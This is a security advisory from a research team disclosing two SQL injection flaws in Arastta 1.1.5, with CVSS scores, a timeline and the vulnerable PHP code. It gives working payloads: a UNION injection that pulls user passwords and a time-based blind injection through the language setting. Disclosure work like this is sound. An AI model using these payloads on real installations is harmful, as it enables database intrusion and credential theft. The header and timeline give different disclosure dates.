Arastta 1.1.5 SQL Injection

`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: Arastta 1.1.5  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Website: http://arastta.org/  
Vulnerability Type: SQL Injection  
Remote Exploitable: Yes  
Reported to vendor: 11/21/2015  
Disclosed to public: 12/21/2015  
Release mode: Full Disclosure  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
Arastta is an eCommerce software written in PHP. In version 1.1.5, it is  
vulnerable to two SQL injection vulnerabilities, one normal injection when  
searching for products via tags, and one blind injection via the language  
setting. Both of them require a user with special privileges to trigger.  
  
3. SQL Injection 1  
  
CVSS  
  
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P  
  
Description  
  
There is an SQL Injection when retrieving products.  
  
Currently, only the "filter" variable is vulnerable. Note that the "tag_name"  
variable would also be vulnerable to SQL injection, if there wasn't a filter  
that forbid single quotes in the URL. As defense in depth, it might be a good  
idea to sanitize that value here as well.  
  
Note that an account with the right "Catalog -> Filters" is needed to exploit  
this issue.  
  
Proof of Concept  
  
  
POST /Arastta/admin/index.php?route=catalog/product/autocomplete&token=3d6cfa8f9f602a4f47e0dfbdb989a469&filter_name=a&tag_name= HTTP/1.1  
  
tag_text[][value]=abc') union all select password from gv4_user -- -  
  
Code  
  
  
/admin/model/catalog/product.php  
public function getTags($tag_name, $filter_tags = null) {  
[...]  
$query = $this->db->query("SELECT DISTINCT(tag) FROM `" . DB_PREFIX . "product_description` WHERE `tag` LIKE '%" . $tag_name . "%'" . $filter);  
  
/admin/controller/catalog/product.php  
public function autocomplete() {  
[...]  
if (isset($this->request->get['tag_name'])) {  
  
$this->load->model('catalog/product');  
  
if (isset($this->request->get['tag_name'])) {  
$tag_name = $this->request->get['tag_name'];  
} else {  
$tag_name = '';  
}  
  
$filter = null;  
  
if(isset($this->request->post['tag_text'])) {  
$filter = $this->request->post['tag_text'];  
}  
  
$results = $this->model_catalog_product->getTags($tag_name, $filter);  
  
foreach ($results as $result) {  
$json[] = array(  
'tag' => $result,  
'tag_id' => $result  
);  
}  
}  
  
4. SQL Injection 2  
  
CVSS  
  
Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P  
  
Description  
  
There is a second order timing based SQL injection when choosing the language  
setting.  
  
An admin account with the right "Setting -> Setting" is needed to exploit this  
issue.  
  
Alternatively, a user with the right "Localisation -> Languages" can inject a  
payload as well. However, a user with the right "Setting -> Setting" is still  
needed to choose the malicious language to trigger the payload.  
  
Proof of Concept  
  
  
Visit the setting page:  
http://localhost/Arastta/admin/index.php?route=setting/setting  
  
For the config_language and config_admin_language parameters use:  
en' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) -- -  
  
Visiting any site will trigger the injected code.  
  
Code  
  
  
/Arastta/system/library/utility.php  
public function getDefaultLanguage(){  
if (!is_object($this->config)) {  
return;  
}  
  
$store_id = $this->config->get('config_store_id');  
  
if (Client::isAdmin()){  
$sql = "SELECT * FROM " . DB_PREFIX . "setting WHERE `key` = 'config_admin_language' AND `store_id` = '" . $store_id . "'";  
} else {  
$sql = "SELECT * FROM " . DB_PREFIX . "setting WHERE `key` = 'config_language' AND `store_id` = '" . $store_id . "'";  
}  
$query = $this->db->query($sql);  
$code = $query->row['value'];  
  
$language = $this->db->query("SELECT * FROM " . DB_PREFIX . "language WHERE `code` = '" . $code . "'");  
  
return $language->row;  
}  
  
5. Solution  
  
This issue was not fixed by the vendor.  
  
6. Report Timeline  
  
11/21/2015 Informed Vendor about Issue (no reply)  
12/10/2015 Reminded Vendor of Disclosure Date (no reply)  
12/17/2015 Disclosed to public  
  
  
Blog Reference:  
https://blog.curesec.com/article/blog/Arastta-115-SQL-Injection-131.html  
  
--  
blog: https://blog.curesec.com  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Romain-Rolland-Str 14-24  
13089 Berlin, Germany  
  
  
`